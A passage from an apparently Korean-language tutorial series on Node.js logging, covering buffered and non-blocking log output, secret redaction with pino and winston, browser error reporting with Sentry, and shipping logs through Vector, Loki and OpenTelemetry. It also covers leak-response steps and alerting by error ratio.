# 커널 버퍼(64KB)가 차는 순간 앱의 write 가 블록됩니다.
#   증상: 로그를 많이 찍는 순간 요청 지연이 톱니처럼 뜁니다

# Docker: 드라이버를 논블로킹으로 — 버퍼가 차면 앱을 막는 대신 줄을 버립니다
docker run --log-driver json-file \
  --log-opt mode=non-blocking --log-opt max-buffer-size=4m \
  --log-opt max-size=50m --log-opt max-file=5 my-api

# Kubernetes 는 kubelet 이 파일로 받습니다 — 회전은 kubelet 설정으로
#   containerLogMaxSize: 50Mi
#   containerLogMaxFiles: 5

# 확인: 동기 I/O 가 어디서 일어나는지 스택을 찍어 줍니다 (첫 tick 이후만)
node --trace-sync-io dist/main.js 2>&1 | head -n 40
mode=non-blocking 은 “유실을 택한다”는 선언입니다. “앱이 느려지느니 로그 몇 줄을 버리겠다”가 맞는 서비스가 대부분이지만, 감사 로그·결제 기록처럼 한 줄도 잃으면 안 되는 것은 로그가 아니라 DB 나 큐에 써야 합니다. 로그 파이프라인은 최선 노력(best-effort) 전달입니다.

앱 안에서 버퍼를 다루기 — sonic-boom 손잡이

import pino from 'pino';

const dest = pino.destination({
  dest: '/var/log/app/app.log',
  sync: false,
  minLength: 4096,      // 이만큼 모이면 씁니다 (그 전엔 메모리)
  maxLength: 16_777_216, // 16MB 넘게 쌓이면 새 줄을 버리고 'drop' 을 냅니다
  mkdir: true,
});

// ★ 버려지는 순간을 알아야 합니다 — 조용히 사라지면 나중에 아무도 모릅니다
let dropped = 0;
dest.on('drop', () => { dropped++; });
setInterval(() => {
  if (dropped) { logger.warn({ dropped }, 'log lines dropped'); dropped = 0; }
}, 10_000).unref();

const logger = pino(dest);

// 주기적으로 밀어내기 — 트래픽이 적을 때 마지막 줄이 버퍼에 갇히지 않게
setInterval(() => logger.flush(), 1_000).unref();
minLength 는 지연과 맞바꾸는 값입니다 — 4KB 면 초당 수십 줄짜리 서비스에서 마지막 줄이 몇 초 늦게 나타날 수 있습니다. 그래서 flush 타이머를 같이 둡니다. unref() 를 붙여야 이 타이머 때문에 프로세스가 안 끝나는 일이 없습니다.

실무에선 이렇게 — 핫 패스에서 로그를 다루는 규칙 🔴 실무

초당 만 번 도는 함수 안이라면

// ① 인자를 만들기 전에 레벨을 봅니다 — 꺼진 레벨이면 객체도 안 만듭니다
if (logger.isLevelEnabled('debug')) {
  logger.debug({ rows: rows.length, sample: rows.slice(0, 3) }, 'batch loaded');
}

// ② 루프 안에서는 세지 말고 모읍니다 — 만 줄 대신 한 줄
let retried = 0;
for (const job of jobs) {
  try { await run(job); }
  catch { retried++; }          // ✗ 여기서 logger.warn 을 찍으면 만 줄이 됩니다
}
if (retried) logger.warn({ retried, total: jobs.length }, 'jobs retried');

// ③ 큰 객체는 통째로 넘기지 않습니다 — 직렬화 비용이 곧 루프 정지 시간
logger.info({ orderId: order.id, items: order.items.length }, 'order');   // ○
logger.info({ order }, 'order');                                          // ✗ 200KB 짜리 JSON

// ④ 요청당 접근 로그는 한 줄 — 시작·끝 두 줄이면 저장 비용이 두 배
//    pino-http 의 autoLogging 이 이미 "끝날 때 한 줄" 입니다 (lg06)

// ⑤ 자주 찍는 줄은 자식 로거로 고정 필드를 미리 굳힙니다 (lg03)
const wl = logger.child({ component: 'worker', queue: 'email' });
“로깅이 병목인가”를 확인하는 가장 빠른 방법 — LOG_LEVEL=silent 로 한 번 돌려서 처리량이 얼마나 변하는지 봅니다. 10% 미만이면 로깅은 범인이 아닙니다. 로거를 바꾸기 전에 이 실험이 먼저입니다 — 실제로 원인은 대개 ③ 의 큰 객체 하나입니다.
워커 트랜스포트가 공짜는 아닙니다 — 메인 스레드에서 워커로 줄을 넘기려면 문자열을 복사해야 하고, 워커가 처리 못 하면 큐가 메모리에 쌓입니다. 운영에서 stdout 이 목적지라면 트랜스포트 없이 기본값이 가장 가볍습니다. 트랜스포트는 원격 전송·pretty 처럼 비싼 일이 있을 때만 값어치가 있습니다.
정리 — 로그 쓰기가 동기이면 그 시간만큼 이벤트 루프가 멈추고 다른 요청도 기다립니다. stdout 파이프는 커널 버퍼 덕에 빠르고, 파일이 목적지일 때 sync: false 나 워커를 고민합니다. 비동기는 유실과 맞바꾸는 것이니 flush 와 drop 을 챙기고, 핫 패스에서는 레벨 확인 · 모아서 찍기 · 큰 객체 금지 셋을 지킵니다.
LOG 10

민감정보 — redact 는 마지막 그물이 아니라 두 번째 그물입니다

로그로 새는 토큰은 수집기 · 백업 · 대시보드 캐시로 자동 복제됩니다. 지우기가 사실상 불가능합니다. 그래서 “새면 지운다”가 아니라 “애초에 안 담기게” 설계하고, redact 는 그 다음 겹으로 둡니다.

비밀이 로그에 닿기까지 네 겹의 그물 — 안쪽일수록 촘촘합니다 안 담기 redact 수집기 보관 · 권한 ④ 보관 기간 · 접근 권한 · 감사 기록 — 새어 나간 뒤 피해를 줄이는 마지막 겹 ③ 수집기 파이프라인에서 정규식 마스킹 — 앱이 놓친 것을 잡지만 느리고 어림짐작 ② 로거의 redact — 경로로 지정한 키를 가림 — 빠르고 확실하지만 키 이름을 알아야 함 ① 애초에 안 담기 — 필드로 골라 담기 · 브랜드 타입 — 유일하게 새지 않는 방법 (lg05 · lg08) redact 는 두 번째 겹입니다 — 첫째 겹 없이 redact 만 믿으면 키 이름이 바뀌는 날 샙니다
동심원 — 바깥 그물일수록 구멍이 큽니다. 안쪽 두 겹이 실제로 일하는 겹입니다.

pino redact — 경로로 가리기

import pino from 'pino';

export const logger = pino({
  redact: {
    paths: [
      // 요청 객체를 통째로 찍을 때 새는 자리 (pino-http 의 req 직렬화기)
      'req.headers.authorization',
      'req.headers.cookie',
      'req.headers["x-api-key"]',        // 하이픈이 든 키는 대괄호로

      // 응답 · 바깥 호출 에러 — axios 에러는 config.headers 를 들고 옵니다
      'err.config.headers.Authorization',
      'err.response.data.token',

      // 우리 도메인 객체
      'user.email', 'user.phone',
      'body.password', 'body.card.number', 'body.card.cvc',

      // 와일드카드 — * 는 "한 단계" 만 뜻합니다
      '*.password',                       // 최상위 아무 키 아래의 password
      'orders[*].customer.email',         // 배열 요소마다
    ],
    censor: '[REDACTED]',                 // 기본값은 '[Redacted]'. remove: true 면 키째 지웁니다
  },
});

logger.info({ user: { id: 'u_1', email: 'a@b.c' }, body: { password: 'x' } }, 'signup');
// {"user":{"id":"u_1","email":"[REDACTED]"},"body":{"password":"[REDACTED]"},...}
redact 는 “객체의 키”만 봅니다 — logger.info(`token=${t}`) 처럼 문자열 안에 녹인 값은 못 가립니다. 그리고 경로는 정확한 깊이여야 합니다: '*.password' 는 body.user.password 를 못 잡습니다(두 단계). 키 이름이 바뀌거나 자리가 바뀌면 조용히 새기 시작합니다 — 이게 “두 번째 겹”인 이유입니다.

실제로 새는 경로 여섯 가지와 막는 법

이렇게 찍으면무엇이 새나대신
log.info({ req })Authorization · Cookie 헤더 전부직렬화기로 method·url 만(lg06)
log.error({ err }) (axios · fetch 래퍼)err.config.headers 의 토큰 · 요청 본문redact 경로 + 우리 에러로 감싸기
log.info({ user })이메일 · 전화 · 주소 · 해시 안 된 값{ userId: user.id } 만
log.info({ url: req.originalUrl })?token= · ?code= 쿼리 문자열req.path 만, 쿼리는 키 이름만
log.debug({ sql, params })바인딩 파라미터 안의 개인정보sql 과 params.length
log.info(process.env) · 설정 덤프DB 비밀번호 · API 키 통째로키 이름 목록만, 값은 절대
여섯 줄의 공통점 — 전부 “객체를 통째로 넘긴 것”입니다. 필드로 골라 담는 습관(lg05) 하나가 여섯 사고를 동시에 막습니다. redact 목록이 길어진다면 그건 통째로 넘기는 곳이 많다는 신호입니다.
스택 트레이스도 봅니다 — 에러 메시지에 값을 넣는 습관 (new Error(`login failed for ${email}`))이 있으면 err.message 로 샙니다. 메시지는 고정 문구, 값은 에러 객체의 필드(err.userId)에 두고 그 필드를 redact 합니다.

한 단계 더 — winston 과 “값의 모양”으로 가리기 🟡 중급

winston 은 format 한 단계로

import winston from 'winston';
const { combine, timestamp, json, format } = winston.format;

const SECRET_KEYS = new Set(['password', 'authorization', 'cookie', 'token', 'cvc']);

// 키 이름으로 재귀 마스킹 — 깊이와 상관없이 잡습니다 (대신 느립니다)
function mask(v: unknown, depth = 0): unknown {
  if (depth > 6 || v === null || typeof v !== 'object') return v;
  if (Array.isArray(v)) return v.map((x) => mask(x, depth + 1));
  const out: Record<string, unknown> = {};
  for (const [k, val] of Object.entries(v as Record<string, unknown>)) {
    out[k] = SECRET_KEYS.has(k.toLowerCase()) ? '[REDACTED]' : mask(val, depth + 1);
  }
  return out;
}

// ★ info 를 고쳐서 그대로 돌려줍니다 — 새 객체를 돌려주면 winston 내부의
//   Symbol(level) 이 빠져서 트랜스포트가 줄을 통째로 버립니다 (아무것도 안 찍힘)
const redact = format((info) => {
  for (const k of Object.keys(info)) {
    info[k] = SECRET_KEYS.has(k.toLowerCase()) ? '[REDACTED]' : mask(info[k], 1);
  }
  return info;
});

export const logger = winston.createLogger({
  format: combine(redact(), timestamp(), json()),   // ★ redact 가 json() 앞
  transports: [new winston.transports.Console()],
});
키 이름 기반의 값과 값어치 — 깊이를 몰라도 잡는 대신 모든 줄의 모든 키를 순회합니다. pino 의 redact 는 경로를 미리 컴파일해 두므로 훨씬 쌉니다. winston 을 쓴다면 이 비용이 lg04 의 “단계마다 객체” 위에 하나 더 얹히는 셈입니다.

모양으로 잡기 — JWT · 카드번호 · 이메일

// 키 이름을 모를 때의 마지막 수단 — 값의 "모양"으로 찾습니다
const PATTERNS: Array<[RegExp, string]> = [
  [/eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/g, '[JWT]'],
  [/\b(?:\d[ -]?){13,19}\b/g, '[CARD]'],                       // 카드번호 후보
  [/[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}/gi, '[EMAIL]'],
  [/Bearer\s+[A-Za-z0-9._~+/-]+=*/g, 'Bearer [REDACTED]'],
];

export function scrub(s: string): string {
  let out = s;
  for (const [re, rep] of PATTERNS) out = out.replace(re, rep);
  return out;
}

// pino 에서는 msg(마지막 문자열 인자)에만 적용 — 모든 줄에 정규식 넷을 돌리는 비용을 감수하는 것
const logger = pino({
  hooks: {
    logMethod(args, method) {
      const last = args.length - 1;
      if (typeof args[last] === 'string') args[last] = scrub(args[last]);
      return method.apply(this, args);
    },
  },
});
정규식은 어림짐작입니다 — 주문번호 16자리가 [CARD] 로 바뀌고, JWT 가 아닌 base64 도 잡힙니다. 동기 정규식 넷이 모든 줄에 돌면 lg09 의 붉은 구간이 늘어납니다. 이 그물은 수집기 쪽(Vector · Fluent Bit)에 두는 편이 앱에 부담이 없습니다(lg12).

실무에선 이렇게 — 이미 새 버린 날의 절차 🔴 실무

순서가 중요합니다 — 지우기보다 무효화가 먼저

# ① 무엇이 · 언제부터 · 어느 필드로 샜는지 범위를 잡습니다
{service="checkout-api"} |= "eyJ" | json | line_format "{{.time}} {{.reqId}}"     # Loki

# ② 새어 나간 비밀을 즉시 무효화 — 지우는 것보다 이게 먼저입니다
#    (토큰 회전 · API 키 재발급 · 세션 강제 만료) ← 복제본 어딘가에 남아 있다고 가정

# ③ 저장소에서 지웁니다 — 저장소마다 방법이 다릅니다
# Loki: 삭제 API (compactor 에서 retention·deletion 이 켜져 있어야 합니다)
#   -G: 아래 값들을 본문이 아니라 URL 쿼리로 붙입니다 (삭제 API 는 쿼리 파라미터를 읽습니다)
curl -G -X POST 'http://loki:3100/loki/api/v1/delete' \
  --data-urlencode 'query={service="checkout-api"} |= "eyJ"' \
  --data-urlencode 'start=2026-08-14T00:00:00Z' --data-urlencode 'end=2026-08-15T00:00:00Z'

# OpenSearch / Elasticsearch
POST logs-*/_delete_by_query
{ "query": { "match_phrase": { "msg": "eyJ" } } }

# ④ 복제본 목록을 확인합니다 — 백업 · 대시보드 캐시 · 개발자 노트북의 로그 파일 · Slack 알림 본문
# ⑤ 코드 고치기 — redact 경로 추가가 아니라 "통째로 넘긴 곳" 을 필드로 바꿉니다
④ 가 사람들이 가장 자주 잊는 단계입니다 — 에러 알림이 Slack 으로 갔다면 로그 본문이 Slack 메시지 안에 있습니다. 백업이 S3 로 갔다면 버전 관리된 객체 안에 있습니다. 그래서 “지우기”는 늘 불완전하고, ② 의 무효화가 실제 대응입니다.
미리 해 두면 그날이 훨씬 짧아지는 것 — ① 로그 보관 기간을 필요한 만큼만(lg12) ② Secret 으로 감싸 비밀 값이 로그 함수에 못 들어가게(lg08) ③ CI 에서 eyJ · Bearer 같은 패턴을 테스트 로그 출력에서 검사하는 한 줄. 셋 다 반나절이면 됩니다.
정리 — 로그는 여러 곳으로 자동 복제되어 지우기가 거의 불가능합니다. 첫째 겹은 필드로 골라 담기, 둘째 겹이 redact(경로 기반 · 문자열 안은 못 가림), 셋째가 수집기 정규식, 넷째가 보관·권한입니다. 이미 샜다면 지우기보다 무효화가 먼저입니다.
LOG 11

브라우저 — 로그 파일이 없는 곳에서는 사건을 보냅니다

브라우저에는 stdout 도 파일도 없습니다. 사용자 기기에서 일어난 일은 네트워크로 보내야만 우리에게 옵니다. 그래서 브라우저 로깅은 “모든 줄을 남기기”가 아니라 “사건이 났을 때 그 앞뒤를 함께 보내기”입니다.

한 사용자의 40초 — 예외 하나가 아니라 그 앞의 발자국까지 함께 갑니다 14:02:10 14:02:31 14:02:32 14:02:33 페이지 진입 navigation '결제' 클릭 ui.click POST /pay → 500 fetch TypeError 발생 exception → 전송 발자국(breadcrumb) — 자동 수집 · 전송되지 않고 쌓입니다 이때만 전송 — 이벤트 + 발자국 4개 + 스택 + 브라우저 정보 Sentry SaaS · 대시보드 발자국은 링에 쌓이기만 하고 전송되지 않습니다 — 예외가 나면 그 앞 것들이 같이 실려 갑니다 서버의 reqId 와 잇는 건 sentry-trace 헤더입니다 — 응답 헤더로 돌려주면 한 화면에서 이어집니다
타임라인 — 예외 하나가 아니라 그 앞의 발자국까지 함께 갑니다. 구름은 우리 프로세스 밖입니다.

Sentry 붙이기 — 다섯 줄이면 시작됩니다

npm i @sentry/browser        # React 면 @sentry/react, Next.js 면 @sentry/nextjs
// src/monitoring.ts — 앱의 가장 첫 import
import * as Sentry from '@sentry/browser';

Sentry.init({
  dsn: import.meta.env.VITE_SENTRY_DSN,
  release: `web@${import.meta.env.VITE_GIT_SHA}`,   // ★ 소스맵과 짝을 맞추는 열쇠
  environment: import.meta.env.MODE,

  sendDefaultPii: false,          // IP · 쿠키를 자동으로 붙이지 않습니다 (lg10)
  tracesSampleRate: 0.1,          // 성능 추적은 10% 만 — 비용
  replaysOnErrorSampleRate: 1.0,  // 에러가 난 세션만 화면 녹화
  replaysSessionSampleRate: 0,

  integrations: [
    Sentry.browserTracingIntegration(),
    Sentry.replayIntegration({ maskAllText: true, blockAllMedia: true }),
  ],
  tracePropagationTargets: ['https://api.example.com'],   // 이 호출에만 sentry-trace 헤더

  // 보내기 직전 마지막 검문 — 여기서 걸러진 건 네트워크를 타지 않습니다
  beforeSend(event) {
    if (event.request?.url?.includes('token=')) event.request.url = '[scrubbed]';
    return event;
  },
});

// 로그인 뒤 — 내부 ID 만. 이메일은 넣지 않습니다
Sentry.setUser({ id: user.id });
Sentry.setTag('tenant', tenantId);

// 잡은 예외를 문맥과 함께
try { await pay(order); }
catch (err) {
  Sentry.captureException(err, { tags: { flow: 'checkout' }, extra: { orderId: order.id } });
  throw err;
}
발자국은 공짜로 쌓입니다 — 클릭 · 라우팅 · fetch · console.* 호출이 SDK 안의 링 버퍼에 들어갑니다. 예외가 날 때만 마지막 100개가 딸려 갑니다. 그래서 lg01 에서 “Sentry 를 쓰면 console 을 지우지 말라”고 한 것입니다 — 그게 발자국이 됩니다.

자체 수집 — 의존성 없는 얇은 래퍼

// src/blog.ts — 브라우저용 로거. 모아서, 떠날 때, 비콘으로
type Level = 'info' | 'warn' | 'error';
const queue: object[] = [];
const ctx = { sessionId: crypto.randomUUID(), release: __GIT_SHA__ };

export function blog(level: Level, fields: Record<string, unknown>, msg: string) {
  queue.push({ level, time: Date.now(), msg, ...ctx, ...fields });
  if (import.meta.env.DEV) console[level === 'info' ? 'log' : level](msg, fields);
  if (queue.length >= 20 || level === 'error') flush();
}

function flush() {
  if (!queue.length) return;
  const body = JSON.stringify(queue.splice(0));
  // ★ 탭이 닫히는 중에도 살아남는 두 가지 방법
  if (!navigator.sendBeacon('/api/client-logs', new Blob([body], { type: 'application/json' }))) {
    fetch('/api/client-logs', { method: 'POST', body, keepalive: true }).catch(() => {});
  }
}

// 페이지를 떠날 때 남은 것을 밀어냅니다 — unload 는 모바일에서 안 옵니다
document.addEventListener('visibilitychange', () => {
  if (document.visibilityState === 'hidden') flush();
});

// 잡히지 않은 오류 두 종류
window.addEventListener('error', (e) =>
  blog('error', { message: e.message, src: e.filename, line: e.lineno }, 'uncaught'));
window.addEventListener('unhandledrejection', (e) =>
  blog('error', { reason: String(e.reason) }, 'unhandled rejection'));
서버 쪽 /api/client-logs 는 신뢰하면 안 되는 입력입니다 — 누구나 아무 JSON 이나 보낼 수 있습니다. 크기 제한 · 속도 제한 · 스키마 검증을 걸고, 받은 값은 필드로 골라서 서버 로거에 넘기세요. 클라이언트가 보낸 문자열을 그대로 msg 에 넣으면 로그 위조(log injection) 가 됩니다.

한 단계 더 — 소스맵과 “Script error.” 🟡 중급

축소된 코드의 스택을 원래 줄로

// vite.config.ts — 빌드할 때 소스맵을 Sentry 에 올리고, 배포물에는 안 넣습니다
import { defineConfig } from 'vite';
import { sentryVitePlugin } from '@sentry/vite-plugin';

export default defineConfig({
  build: { sourcemap: 'hidden' },   // .map 은 만들되 번들에 //# sourceMappingURL 을 안 씁니다
  plugins: [
    sentryVitePlugin({
      org: 'acme', project: 'web',
      authToken: process.env.SENTRY_AUTH_TOKEN,   // CI 비밀 — 절대 커밋하지 않습니다
      release: { name: `web@${process.env.GIT_SHA}` },   // ★ init 의 release 와 같아야 합니다
      sourcemaps: { filesToDeleteAfterUpload: ['./dist/**/*.map'] },
    }),
  ],
});
release 가 안 맞으면 스택이 a.js:1:48213 으로만 보입니다 — 가장 흔한 “Sentry 가 쓸모없어요”의 원인입니다. init 과 플러그인의 release 를 같은 환경변수에서 읽게 하면 끝납니다. hidden 소스맵은 서버에는 올리고 사용자에게는 내보내지 않는 절충입니다.

소음 걸러내기 — 진짜 오류만 남기기

Sentry.init({
  // ...
  ignoreErrors: [
    'ResizeObserver loop',            // 브라우저가 내는 무해한 경고
    /^Non-Error promise rejection/,   // 값을 reject 한 것 — 대개 우리 코드가 아님
    'Network Error',                  // 오프라인 · 광고 차단기
  ],
  denyUrls: [
    /extensions\//i, /^chrome-extension:\/\//i,   // 확장 프로그램이 낸 오류
    /translate\.googleapis\.com/i,
  ],
});

// "Script error." 한 줄만 오고 스택이 없다면 —
// CDN 의 스크립트가 다른 출처라서 브라우저가 내용을 숨긴 것입니다
// <script src="https://cdn.example.com/app.js" crossorigin="anonymous">
//   + CDN 응답에 Access-Control-Allow-Origin 헤더 → 스택이 보이기 시작합니다
첫 주의 할 일은 “거르기”입니다 — 붙이자마자 하루 수천 건이 들어오는데 대부분 확장 프로그램 · 옛 브라우저 · 크롤러입니다. 위 목록으로 걸러도 남는 것이 실제 사용자의 실제 오류이고, 그때부터 알림을 겁니다.

실무에선 이렇게 — 무엇을 쓰나 · 서버와 어떻게 잇나 🔴 실무

도구주는 것고르는 순간
console 만개발자 화면에서만 보임. 사용자 기기의 일은 아무것도 모름개발 중 · 내부 도구
자체 비콘 래퍼업무 사건(checkout.step)을 우리 로그 파이프라인으로제품 분석과 합치고 싶을 때 · 데이터 반출이 안 될 때
Sentry예외 + 발자국 + 소스맵 복원 + 세션 리플레이. 사실상 표준SPA 라면 기본값
RUM (Datadog RUM · Grafana Faro)성능 지표(LCP · 지연) + 오류 + 세션. 서버 APM 과 한 화면이미 그 벤더의 서버 APM 을 쓸 때
OpenTelemetry 브라우저추적은 쓸 만하고, 로그 API 는 아직 자리 잡는 중벤더 중립이 최우선일 때 — 문서를 먼저 확인
서버 로그와 잇는 한 줄 — Sentry SDK 가 tracePropagationTargets 에 맞는 요청에 sentry-trace 헤더를 붙입니다. 서버 미들웨어에서 그 값을 읽어 lg07 의 문맥에 traceId 로 넣으면, 브라우저 오류 화면에서 클릭 한 번으로 서버 로그가 열립니다. 반대로 응답 헤더에 x-request-id 를 돌려주면(lg06) 사용자 오류 화면에 그 값을 보여 줄 수 있습니다.
브라우저에서 절대 하지 말 것 — ① 모든 클릭을 서버로 보내기(그건 로깅이 아니라 추적이고 동의가 필요합니다) ② Sentry.setUser 에 이메일 넣기 ③ 리플레이에서 maskAllText: false ④ 에러 메시지에 사용자 입력값 넣기. lg10 의 규칙이 브라우저에서는 법적 문제가 됩니다.
정리 — 브라우저에는 로그 파일이 없으니 사건이 났을 때 앞뒤를 함께 보냅니다. Sentry 는 예외 + 발자국 + 소스맵이 핵심이고 release 를 맞춰야 스택이 읽힙니다. 자체 수집은 비콘으로 모아서 보내되 서버는 그 입력을 신뢰하지 않습니다. sentry-trace 헤더 하나가 브라우저와 서버 로그를 잇습니다.
LOG 12

stdout 을 떠나서 — 수집기 · 저장소 · OpenTelemetry

앱이 할 일은 stdout 에 JSON 한 줄까지입니다. 그 줄이 대시보드에 닿기까지 서너 단계가 더 있는데, 전부 앱 바깥의 일입니다. 이 경계를 지키면 로거를 바꿔도, 저장소를 바꿔도 서로 모릅니다.

stdout 을 떠난 뒤 — 앱은 저장소를 모릅니다 앱 pod × N pino → stdout 한 줄 컨테이너 런타임 /var/log/containers/*.log 에이전트 (DaemonSet) Fluent Bit · Vector kubectl logs 같은 파일을 읽을 뿐입니다 Loki · OpenSearch 자체 운영 — 디스크 · 보관 기간이 우리 몫 Datadog · CloudWatch SaaS — 요금은 GB · 보관일 단위 OTel Collector 는 어느 쪽으로도 보냅니다 대시보드 · 알림 — Grafana · Kibana · 호출(페이저) reqId 하나로 검색하고, error 비율로 알림을 겁니다 (lg07) 앱은 저장소를 모릅니다 — stdout 이 계약이고 그 뒤는 전부 인프라의 일입니다 에이전트가 잠깐 죽어도 앱은 멈추지 않습니다 — 런타임의 파일이 완충 역할을 합니다
흐름 — 앱은 저장소를 모릅니다. 원통은 우리가 운영하는 것, 구름은 남이 운영하는 것.

컨테이너에서 앱이 지킬 것 — 파일을 만들지 않습니다

# Dockerfile — 로그 관련 설정은 없습니다. 그게 정답입니다
FROM node:24-alpine
WORKDIR /app
COPY dist ./dist
COPY node_modules ./node_modules
ENV NODE_ENV=production LOG_LEVEL=info
# ★ pino-pretty 도, 파일 경로도 없습니다 (Dockerfile 주석은 줄 맨 앞에만 — 끝에 붙이면 CMD 가 깨집니다)
CMD ["node", "dist/main.js"]

# 확인 — 컨테이너 밖에서 그대로 보입니다
docker logs -f --since 5m my-api | jq -c 'select(.level=="error")'
kubectl logs deploy/checkout-api --since=10m | jq -c 'select(.reqId=="req_01J8Q")'

# 회전은 런타임이 합니다 — 앱이 winston-daily-rotate-file 을 돌리면 이중 회전이 됩니다 (lg04)
# docker: --log-opt max-size=50m --log-opt max-file=5
# kubelet: containerLogMaxSize / containerLogMaxFiles
12-factor 의 “로그는 이벤트 스트림”이 이 그림입니다 — 앱은 어디에 저장할지 모르고, 모르는 것이 장점입니다. 저장소를 Loki 에서 OpenSearch 로 바꿔도 앱은 재배포하지 않습니다. 반대로 앱이 파일을 직접 쓰기 시작하는 순간, 볼륨 · 권한 · 회전 · 디스크 가득 참이 전부 앱 문제가 됩니다.

에이전트 — Vector 로 JSON 풀어서 Loki 로

# vector.toml — 노드마다 하나 (DaemonSet)
[sources.k8s]
type = "kubernetes_logs"                  # /var/log/containers 를 읽고 pod 메타를 붙입니다

[transforms.parse]
type   = "remap"
inputs = ["k8s"]
source = '''
  parsed, err = parse_json(.message)      # pino 가 쓴 한 줄
  if err == null {
    . = merge(., object!(parsed))         # level · reqId · msg 가 필드가 됩니다
    del(.message)
  }                                       # JSON 이 아닌 줄(다른 도구)은 그대로 둡니다
  .level = downcase(string(.level) ?? "info")   # 없거나 문자열이 아니면 "info"
'''

[transforms.scrub]                        # lg10 의 셋째 겹 — 앱이 놓친 토큰을 여기서
type   = "remap"
inputs = ["parse"]
source = '''
  .msg = replace(string(.msg) ?? "", r'eyJ[\w-]+\.[\w-]+\.[\w-]+', "[JWT]")
'''

[sinks.loki]
type     = "loki"
inputs   = ["scrub"]
endpoint = "http://loki:3100"
encoding.codec = "json"
labels.service = "{{ service }}"          # ★ 라벨은 값의 종류가 적은 것만
labels.level   = "{{ level }}"
labels.env     = "{{ env }}"              #   reqId 를 라벨로 두면 Loki 가 죽습니다
Loki 의 라벨은 인덱스 키입니다 — 값의 종류(카디널리티)가 수백을 넘는 필드 (reqId · userId · url)를 라벨로 두면 스트림이 폭발합니다. 그런 값은 본문 JSON 에 두고 | json | reqId="..." 로 거릅니다(lg07). OpenSearch 는 반대로 필드가 전부 색인되니 매핑 폭발을 조심합니다(lg05).

한 단계 더 — OpenTelemetry 로 로그와 트레이스 잇기 🟡 중급

최소 목표 — 로그 줄에 traceId 만 심기

npm i @opentelemetry/sdk-node @opentelemetry/auto-instrumentations-node \
      @opentelemetry/exporter-trace-otlp-http
// otel.ts — 앱 코드보다 먼저 실행되어야 합니다 (아래 실행 명령 참고)
import { NodeSDK } from '@opentelemetry/sdk-node';
import { getNodeAutoInstrumentations } from '@opentelemetry/auto-instrumentations-node';
import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http';

const sdk = new NodeSDK({
  serviceName: 'checkout-api',
  traceExporter: new OTLPTraceExporter({ url: 'http://otel-collector:4318/v1/traces' }),
  instrumentations: [getNodeAutoInstrumentations({
    // ★ pino 계측 — 모든 로그 줄에 trace_id · span_id 를 자동으로 붙입니다
    '@opentelemetry/instrumentation-pino': { enabled: true },
    '@opentelemetry/instrumentation-fs': { enabled: false },   // 소음
  })],
});
sdk.start();
process.on('SIGTERM', () => sdk.shutdown().finally(() => process.exit(0)));
# CommonJS 빌드
node --require ./dist/otel.js dist/main.js
# ESM 빌드 — import 훅이 필요합니다. 계측 문서의 ESM 절을 그대로 따르세요
node --import ./dist/otel.mjs dist/main.js

# 이제 로그 한 줄에 이렇게 붙어 나옵니다
# {"level":"info","trace_id":"4bf92f3577b34da6a3ce929d0e0e4736","span_id":"00f067aa0ba902b7",...}
이것만으로 얻는 것 — Grafana 에서 로그 줄의 trace_id 를 클릭하면 Tempo 의 트레이스가 열리고, 트레이스에서 다시 로그로 돌아옵니다. lg07 의 reqId 와 병행해도 됩니다 — mixin 에서 trace.getActiveSpan()?.spanContext().traceId 를 꺼내 traceId 로 넣으면 이름까지 통일됩니다.

로그 자체를 OTLP 로 보낼 것인가

경로좋은 점값
stdout → 에이전트 (권장)앱과 분리 · 파일이 완충 · 에이전트가 죽어도 유실 적음파이프라인이 한 단계 더
앱 → OTLP 직접
pino-opentelemetry-transport
로그 · 트레이스 · 지표가 한 파이프 · 컨테이너 밖(람다 · 엣지)에서 유리네트워크가 막히면 앱 버퍼에 쌓임 · 죽을 때 유실
둘 다이전 기간의 보험저장 비용 두 배 — 짧게만
// 직접 보내야 할 때 — 워커 트랜스포트라 메인 스레드는 가볍습니다 (lg09)
const logger = pino({
  transport: {
    targets: [
      { target: 'pino/file', options: { destination: 1 } },            // stdout 도 유지
      { target: 'pino-opentelemetry-transport',
        options: { resourceAttributes: { 'service.name': 'checkout-api' } } },
      // OTEL_EXPORTER_OTLP_ENDPOINT 환경변수로 수집기 주소를 줍니다
    ],
  },
});
결론은 “로그는 stdout, ID 만 심기”입니다 — 2026년 기준 OTel 로그 신호는 안정됐지만, 컨테이너 환경에서는 파일 경유가 더 단순하고 유실이 적습니다. OTLP 직접 전송은 stdout 이 없는 자리(람다 · 엣지 · 데스크톱 앱)의 답입니다. 패키지 이름과 옵션은 자주 바뀌니 설치 시점의 문서를 확인하세요.

실무에선 이렇게 — 알림과 비용 🔴 실무

로그로 알림 걸기 — 개수가 아니라 비율로

# Grafana 알림 규칙 (Loki · LogQL) — 5분간 error 비율이 2% 를 넘으면
- alert: CheckoutErrorRate
  expr: |
    sum(rate({service="checkout-api"} | json | level="error" [5m]))
      /
    sum(rate({service="checkout-api"} | json | event="http.request" [5m]))
      > 0.02
  for: 10m                       # 10분 지속될 때만 — 순간 튀는 건 무시
  labels: { severity: page }
  annotations:
    summary: "checkout-api error ratio > 2%"
    runbook: "https://wiki/runbooks/checkout-errors"

# 조사할 때 — 어떤 사건이 늘었나 (lg05 의 event 필드가 여기서 빛납니다)
# sum by (event) (count_over_time({service="checkout-api"} | json | level="error" [1h]))
개수 알림은 트래픽이 늘면 울립니다 — 새벽 3시 에러 5건과 점심 에러 5건은 뜻이 다릅니다. 비율로 걸고 for 로 지속 시간을 두세요. 그리고 lg05 의 “400 을 error 로 찍지 않기”가 안 지켜지면 이 알림은 처음부터 소음입니다.

비용 — 로그 요금은 GB 와 보관일의 곱입니다

줄이는 순서효과어디서
① 헬스체크 · 정적 파일 접근 로그 제거줄 수의 절반 이상이 여기인 경우가 흔함lg06 silent
② 운영 info · 표본만 debug자릿수 하나lg05 표본 추출
③ 필드 다이어트줄 길이 — req 통째로 찍는 줄이 10배 큽니다lg06 직렬화기
④ 보관 계층뜨거운 검색 7~14일, 그 뒤 객체 저장소로Loki retention · S3 수명 주기
⑤ 에이전트에서 샘플링같은 msg 가 초당 수백 줄이면 1/10 만Vector sample 변환
